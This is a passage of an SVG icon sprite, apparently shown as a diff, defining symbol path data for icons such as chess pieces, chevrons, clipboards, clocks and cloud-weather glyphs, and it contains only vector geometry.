0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z"></path> + </symbol> + <symbol id="chess-bishop" viewBox="0 0 320 512"> + <path d="M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="chess-board" viewBox="0 0 512 512"> + <path d="M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z"></path> + </symbol> + <symbol id="chess-king" viewBox="0 0 448 512"> + <path d="M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z"></path> + </symbol> + <symbol id="chess-knight" viewBox="0 0 384 512"> + <path d="M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="chess-pawn" viewBox="0 0 320 512"> + <path d="M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="chess-queen" viewBox="0 0 512 512"> + <path d="M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z"></path> + </symbol> + <symbol id="chess-rook" viewBox="0 0 384 512"> + <path d="M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="chevron-circle-down" viewBox="0 0 512 512"> + <path d="M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z"></path> + </symbol> + <symbol id="chevron-circle-left" viewBox="0 0 512 512"> + <path d="M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z"></path> + </symbol> + <symbol id="chevron-circle-right" viewBox="0 0 512 512"> + <path d="M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z"></path> + </symbol> + <symbol id="chevron-circle-up" viewBox="0 0 512 512"> + <path d="M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z"></path> + </symbol> + <symbol id="chevron-down" viewBox="0 0 448 512"> + <path d="M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z"></path> + </symbol> + <symbol id="chevron-left" viewBox="0 0 320 512"> + <path d="M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z"></path> + </symbol> + <symbol id="chevron-right" viewBox="0 0 320 512"> + <path d="M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"></path> + </symbol> + <symbol id="chevron-up" viewBox="0 0 448 512"> + <path d="M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z"></path> + </symbol> + <symbol id="child" viewBox="0 0 384 512"> + <path d="M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z"></path> + </symbol> + <symbol id="church" viewBox="0 0 640 512"> + <path d="M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"></path> + </symbol> + <symbol id="circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z"></path> + </symbol> + <symbol id="circle-notch" viewBox="0 0 512 512"> + <path d="M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z"></path> + </symbol> + <symbol id="city" viewBox="0 0 640 512"> + <path d="M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z"></path> + </symbol> + <symbol id="clinic-medical" viewBox="0 0 576 512"> + <path d="M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z"></path> + </symbol> + <symbol id="clipboard" viewBox="0 0 384 512"> + <path d="M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z"></path> + </symbol> + <symbol id="clipboard-check" viewBox="0 0 384 512"> + <path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z"></path> + </symbol> + <symbol id="clipboard-list" viewBox="0 0 384 512"> + <path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"></path> + </symbol> + <symbol id="clock" viewBox="0 0 512 512"> + <path d="M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z"></path> + </symbol> + <symbol id="clone" viewBox="0 0 512 512"> + <path d="M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z"></path> + </symbol> + <symbol id="closed-captioning" viewBox="0 0 512 512"> + <path d="M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z"></path> + </symbol> + <symbol id="cloud" viewBox="0 0 640 512"> + <path d="M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z"></path> + </symbol> + <symbol id="cloud-download-alt" viewBox="0 0 640 512"> + <path d="M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z"></path> + </symbol> + <symbol id="cloud-meatball" viewBox="0 0 512 512"> + <path d="M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z"></path> + </symbol> + <symbol id="cloud-moon" viewBox="0 0 576 512"> + <path d="M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z"></path> + </symbol> + <symbol id="cloud-moon-rain" viewBox="0 0 576 512"> + <path d="M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"></path> + </symbol> + <symbol id="cloud-rain" viewBox="0 0 512 512"> + <path d="M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z"></path> + </symbol> + <symbol id="cloud-showers-heavy" viewBox="0 0 512 512"> + <path d="M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z"></path> + </symbol> + <symbol id="cloud-sun" viewBox="0 0 640 512"> + <path d="M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z"></path> + </symbol> + <symbol id="cloud-sun-rain" viewBox="0 0 576 512"> + <path d="M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 